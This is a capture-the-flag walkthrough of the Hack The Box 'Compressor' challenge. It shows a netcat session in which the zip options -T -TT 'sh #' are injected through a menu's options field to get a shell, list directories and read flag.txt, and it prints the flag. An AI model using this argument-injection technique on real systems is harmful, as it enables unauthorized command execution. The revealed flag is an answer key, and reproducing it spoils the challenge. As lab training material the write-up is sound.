Compressor
Hackthebox
Htb
Ethical Hacking
Misc

Compressor-HTB-Challenge-Walkthrough-By-Reju-Kole

Reju Kole

4 min readOct 16, 2024

Category — Misc

Level — Very Easy

Challenge URL — Hack The Box :: Hack The Box

Welcome! It is time to look at the Challenge “Compressor” on HackTheBox. I am making these walkthroughs to keep myself motivated to learn cyber security and ensure that I remember the knowledge gained by playing HTB machines.

Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.

About Challenge — Ramona’s obsession with modifications and the addition of artifacts to her body has slowed her down and made her fail and almost get killed in many missions. For this reason, she decided to hack a tiny robot under Golden Fang’s ownership called “Compressor”, which can reduce and increase the volume of any object to minimize/maximize it according to the needs of the mission. With this item, she will be able to carry any spare part she needs without adding extra weight to her back, making her fast. Can you help her take it and hack it ?

Problem Description

The challenge initiates a Docker instance, which can be accessed using netcat. The following interface is displayed upon connection:

┌──(kali㉿kali)-[~]
└─$ nc 94.237.61.216 52757

[*] Directory to work in: tKe92dJTScr116M7NryAqHNn4QrExryh

Component List:

+===============+
|               |
|  1. Head  🤖  |
|  2. Torso 🦴   |
|  3. Hands 💪  |
|  4. Legs  🦵   |
|               |
+===============+
  
[*] Choose component:

Selecting any of the components reveals the following interface:

[*] Sub-directory to work in: tKe92dJTScr116M7NryAqHNn4QrExryh/Head


Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory  (cd <dirname>)
5. Clean directory   (rm -rf ./*)
6. Exit
  
[*] Choose action:

Solution

By entering 2 into the system, we observe that we’re inside one of the directories: /home/ctf/<current_directory>/{Head, Torso, Hands, Legs}

We can execute custom commands to search for the flag, as selecting option 5 to change directories simply returns us to the initial interface.

Get Reju Kole’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Note that the backend utilizes a format string to construct the executed command, allowing us to exploit the third option by entering ; followed by any desired command.

The procedure

Great, we can use -T -TT 'sh #' as command options to obtain a shell. However, before proceeding, we need to create an artifact since the current directory is empty:

We can use the GTFOBins to get a shell and find the flag.

┌──(kali㉿kali)-[~]
└─$ nc 94.237.61.216 52757

[*] Directory to work in: MuHIVmME0EfxUjaZlOCB3dBHLfNEFrz9

Component List:

+===============+
|               |
|  1. Head  🤖  |
|  2. Torso 🦴   |
|  3. Hands 💪  |
|  4. Legs  🦵   |
|               |
+===============+
  
[*] Choose component: 1

[*] Sub-directory to work in: MuHIVmME0EfxUjaZlOCB3dBHLfNEFrz9/Head


Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory  (cd <dirname>)
5. Clean directory   (rm -rf ./*)
6. Exit
  
[*] Choose action: 1


Insert name: kill

Insert content: kill


[+] Artifact [kill] was created successfuly!

Actions:

1. Create artifact
2. List directory    (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory  (cd <dirname>)
5. Clean directory   (rm -rf ./*)
6. Exit
  
[*] Choose action: 2
/home/ctf/MuHIVmME0EfxUjaZlOCB3dBHLfNEFrz9/Head
total 12
drwxr-sr-x    2 ctf      ctf           4096 Oct 16 19:29 .
drwxr-sr-x    6 ctf      ctf           4096 Oct 16 19:29 ..
-rw-r--r--    1 ctf      ctf              4 Oct 16 19:29 kill



Actions:

1. Create artifact                                                                                                  
2. List directory    (pwd; ls -la)                                                                                  
3. Compress artifact (zip <name>.zip <name> <options>)                                                              
4. Change directory  (cd <dirname>)                                                                                 
5. Clean directory   (rm -rf ./*)                                                                                   
6. Exit                                                                                                             
                                                                                                                    
[*] Choose action: 3


Insert <name>.zip: kill
Insert <name>: kill
Insert <options>: -T -TT 'sh #'
  adding: kill (stored 0%)
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls
kill
zicknmAk
cd kill 
sh: cd: line 3: can't cd to kill: Not a directory
ls
kill
zicknmAk
cd zicknmAk
sh: cd: line 5: can't cd to zicknmAk: Not a directory
cd.. 
sh: cd..: not found
cd .. 
ls
Hands
Head
Legs
Torso
cd
ls
7GpUwFXghkYWhCCvPyLagCGdk7xgxubp
A6PyI3JxN6OpSKWsGBRPhQ1JKLtrVeeH
DlScfqN5Vazs9rGLlZOtBqIcYWTXKK4m
MuHIVmME0EfxUjaZlOCB3dBHLfNEFrz9
Nu51tAro6vC7urdq2cWVuxUDnI6cZbLD
Ui3UEp8YsnBJEfVxxCYXU50wh5WETDlE
a23Et1rOOM9EDiQdJIUpQIkEgJFpUjZi
aQiTgBsOniZIdhgE1DYJpFrN7jKjPwgb
artifacts.py
clear.py
ezOfiHj5xd3lYVKhWE1zkzENH9Efkk9S
flag.txt
gehwB0GxgBjKH9E3BKtGaW2874KMSFOC
peFgkBDjlyIoLJuvemGVmqTlBUNClHHs
s0M6LvvT94hlJ60kXwr3UKxMJkHpGlNn
tKe92dJTScr116M7NryAqHNn4QrExryh
w64bbZjsOUwdtdaRTukPHHN1Tl2lMjyT
x1vysNWQ0N8ZotvFLcOZUo6xsdZWA7en
xZ28aH7RDDRH7WIwPbi5191iZ3USSvuB
cat flag.txt 
HTB{z1pp1ti_z0pp1t1_GTFO_0f_my_pr0p3rty}

Hehe!!! we got the Flag.

I hope you enjoyed this writeup! Happy Hacking :)

Subscribe to me on Medium and be sure to turn on email notifications so you never miss out on my latest walkthroughs, write-ups, and other informative posts.